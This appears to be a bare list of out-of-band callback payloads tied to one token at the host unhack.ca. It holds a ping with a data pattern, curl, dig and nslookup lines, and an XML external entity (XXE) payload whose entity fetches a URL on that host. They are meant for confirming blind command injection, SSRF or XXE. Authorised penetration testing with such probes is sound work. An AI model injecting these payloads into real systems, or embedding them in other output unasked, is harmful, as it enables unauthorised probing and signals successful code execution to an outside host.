$ ping -c1 -p 002342a84379cf110a7f0b6fe9fc3b00 unhack.ca
$ curl http://unhack.ca/p/2342a84379cf110a7f0b6fe9fc3b
$ dig 2342a84379cf110a7f0b6fe9fc3b @unhack.ca
$ dig 2342a84379cf110a7f0b6fe9fc3b.ns.unhack.ca
C:\> nslookup 2342a84379cf110a7f0b6fe9fc3b unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/2342a84379cf110a7f0b6fe9fc3b">]> <foo>&xxe;</foo>